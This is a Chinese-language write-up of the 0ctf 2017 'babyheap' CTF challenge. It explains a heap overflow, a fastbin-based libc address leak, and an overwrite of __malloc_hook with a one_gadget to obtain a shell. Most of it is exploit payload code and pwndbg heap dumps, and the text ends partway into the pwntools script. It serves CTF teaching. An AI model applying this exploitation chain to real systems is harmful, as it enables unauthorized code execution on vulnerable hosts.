0ctf2017 pwn babyheap
题目:http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
0x00:运行程序
user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: Alarm clock
0x01:IDA分析
1、Allocate函数:
这个函数通过calloc可以申请大小0x1000以内的内存。
看得出每次在最后会有一个类似的结构体如下:
struct heap { signed int flag; //标记是否被分配 signed int size; //请求申请的大小 void* chunk_m; //chunk的mem值 }
2、Fill函数
在Fill这个函数中看到,并未检查请求填充数据的大小,大小由用户决定,存在堆溢出。
3、Free函数,释放对应Index的堆块
4、Dump函数,打印对应Index堆块里的内容
0x02:checksec
user@ubuntu:~/workspace/pwn$ file 0ctfbabyheap 0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped user@ubuntu:~/workspace/pwn$ checksec 0ctfbabyheap [*] '/home/user/workspace/pwn/0ctfbabyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开。
由于保护全开,但是又可以任意长度堆溢出,所以可以泄漏libc的基地址,在malloc_hook处触发执行getshell。
0x03:泄漏libc基地址
原理:当small chunk被释放后,进入到unsorted bin。它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),这个地址相对main_arena + 0x58,而且main_arena又相对libc固定偏移(0x3c4b20),所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。
所以重点是能读到small chunk被释放后的fd指针的值。
alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) free(1) free(2) payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload) payload = p64(0)*3 payload += p64(0x21) fill(3, payload) alloc(0x10) alloc(0x10) payload = p64(0)*3 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base))
1、释放index 1的堆
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
==================================================
pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { //free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
2、释放index 2的堆
free(2)
============================================
pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { //free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { //free prev_size = 0x0, size = 0x21, fd = 0x555555757020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757040 —▸ 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
由上可以看出新释放的这个堆(index 2)插入到fastbin的头部,而前面被释放的这个堆(index 1)成为这个新释放的堆(index 2)的fd里的值。
3、通多堆溢出改变index 2 的fd的值,让他指向index 4这个堆
payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload)
堆的布局:
填充前:
pwndbg> x/32gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021
0x555555757050: 0x0000555555757020 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
填充后:
pwndbg> x/32gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000555555757080 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x555555757040 —▸ 0x555555757080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
4、改掉index 4这个堆的size域的值,以便接下来malloc到它的时候,能过malloc的检查机制。
malloc的安全检查:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; }
chunksize 的计算方法是 victim->size & ~(SIZE_BITS))
index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,SIZE_SZ 是8
意思就是在对应的fastbin_index上的这个chunk 的size域要和这个index相匹配。
即是:现在我们把它放到了0x20这个大小的fastbin上,要把它的size改成0x20才能正常calloc。(最开始的时候index 4的堆我们申请大小是0x80)
payload = p64(0)*3 payload += p64(0x21) fill(3, payload)
修改前:
pwndbg> x/32gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021
0x555555757050: 0x0000555555757080 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
修改后:
pwndbg> x/32gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021
0x555555757050: 0x0000555555757080 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
5、
alloc(0x10)
alloc(0x10)
5.1 再次alloc(0x10)
alloc(0x10)
====================================
pwndbg> bins fastbins 0x20: 0x555555757080 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins
因为fastbin是单链表结构,且采用FILO结构,所以现在重新alloc(0x20)时,index 1的chunk_m是 最 近 被释放的fast chunk(0x555555757040)的mem (0x555555757050)
pwndbg> x/32gx 0x110c5115e010
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000000 0x0000000000000000
0x110c5115e050: 0x0000000000000000 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000080
0x110c5115e080: 0x0000555555757090 0x0000000000000000
6.2再再次alloc(0x10)
alloc(0x10)
====================================
pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570a0 { prev_size = 0x0, size = 0x0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
pwndbg> x/32gx 0x110c5115e010 查看结构体内存
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000080
0x110c5115e080: 0x0000555555757090 0x0000000000000000
0x110c5115e090: 0x0000000000000000 0x0000000000000000
0x110c5115e0a0: 0x0000000000000000 0x0000000000000000
0x110c5115e0b0: 0x0000000000000000 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000
再再次alloc(0x10)后,index 2的堆块的地址就已经和index 4堆块的地址一样了。这里现在是chunk的mem处,等index 4被free后,这里就是fd 字段了,之后便能通过dump index 2来泄漏index 4的fd内容了。
7、将index 4的size字段改回去,让他以small chunk被free掉
payload = p64(0)*3 payload += p64(0x91) fill(3, payload) alloc(0x80)
free(4)
7.1通过堆溢出来改变index 4的size字段:
填充前:
pwndbg> x/32gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
填充后:
pwndbg> x/32gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Top Chunk: 0x555555757110
Last Remainder: 0
0x555555757000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757110 PREV_INUSE {
prev_size = 0x0,
size = 0x20ef1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
7.2 alloc(0x80) 再分配一个small chunk,这是为了,之后free index 4这个堆块的时候,不要被合并进top chunk 而把他放到unsorted bin中去、
这时如果把他free掉,他的fd指针会被设置为指向unsorted bin链表的头部。
pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <ma in_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 { prev_size = 0x90, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555757080 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty
现在被free掉的这个index 4的堆块的fd指针被设置为指向unsorted bin链表的头部,这个地址相对main_arena偏移0x58,且main_arena在libc中,相对位置固定,这样就能算出libc被加载的地址。
8、dump index 2的堆块读出fd的值
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base))
由6.2处已成功让index 2的已成功设置成index 4这个堆块,现在index 4被释放,这里是fd,里面存的是unsorted bin的链表的头部。把他dump出来再减去0x58再减去0x3C4B20
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ......0x555555757000 0x555555778000 rw-p 21000 0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so ...... pwndbg> p &main_arena $30 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena> pwndbg>
0x7ffff7dd1b20 - 0x7ffff7a0d000 = 0x3C4B20
0x04:getshell
这里可以用 __malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc() 时,如果__malloc_hook不为空则调用指向的这个函数。所以这里我们传入一个 one-gadget。
one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。知道 libc 的版本,并且可以通过信息泄露得到 libc 的基地址,则可以通过控制EIP 执行该 gadget 来获得 shell。
alloc(0x60) free(4) payload = p64(libc_base+0x3c4aed) fill(2, payload) alloc(0x60) alloc(0x60) payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload) alloc(255)
所以这里关键在于怎么把gadget写到__malloc_hook处。
__malloc_hook相对libc偏移0x3c4b10 (__malloc_hook在main_arena上面)
user@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc.so.6 | grep __malloc_hook 1088: 00000000003c4b10 8 OBJECT WEAK DEFAULT 33 __malloc_hook@@GLIBC_2.2.5
pwndbg> x/10gx 0x7FFFF7DD1B00
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7FFFF7DD1B00
这里需要地址偏移,构造一个fake chunk,让其size域在0x10~0x80里,构造一个fastchunk,上面看出刚好有7f,合适的偏移让其在size域
wndbg> x/10gx 0x7FFFF7DD1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aed - 0x7ffff7a0d000 = 0x3C4AED
还是利用fastbin单链表且FILO的机制进行设置
1、
alloc(0x60)
free(4)
alloc(0x60) #Index 4
============================================
pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins A syntax error in expression, near `.'. fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty
free(4)
=======================================================
pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757080 ◂— 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty
2、
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
通过index 2堆块的fd,改写index 4的成在前面找好的那个偏移地址(这个地址相对于libc基地址偏移0x3C4AED)
填充后:
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
pwndbg> p main_arena
这样我们第二次malloc 的0x70大小(这是包括了chunk header之后的大小,malloc()实际参数应该是0x60)的堆块是的地址是0x7ffff7dd1aed
3、获得指向__malloc_hook的地址
alloc(0x60) alloc(0x60)
===========================================
pwndbg> x/32gx 0x110c5115e010
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000060
0x110c5115e080: 0x0000555555757090 0x0000000000000001
0x110c5115e090: 0x0000000000000080 0x0000555555757120
0x110c5115e0a0: 0x0000000000000001 0x0000000000000060
0x110c5115e0b0: 0x00007ffff7dd1afd 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000
4、改写_malloc_hook处的内容,让其指向one-gadget(需要多试几下)
payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload)
可以使用工具 one_gadget 很方便地查找 one-gadget。
user@ubuntu:~/workspace/pwn$ one_gadget -f /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
gadget要多试几下
填充前:
pwndbg> x/10gx 0x00007ffff7dd1aed 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 pwndbg>
填充后:
pwndbg> x/32gx 0x7ffff7dd1b00 0x7ffff7dd1b00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a 0x0000000000000000 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0xfff7a92e20000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00005555557571a0 0x7ffff7dd1b80 <main_arena+96>: 0x00005555557570f0 0x00005555557570f0 0x7ffff7dd1b90 <main_arena+112>: 0x00005555557570f0 0x00007ffff7dd1b88 0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98 0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8 0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8 0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8 0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8 0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8 pwndbg>
当下次执行malloc后,检测到__malloc_hook不为0,将会指向它指向的函数。
5、通过再一次的的malloc来触发
alloc(255)
0x05:exp
exp来自:https://bbs.pediy.com/thread-223461.htm
#!/usr/bin/env python
from pwn import *
import sys
context.log_level = "debug"
elf = "./0ctfbabyheap"
ENV = {"LD_PRELOAD":"./libc.so.6"}
p = process(elf)
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
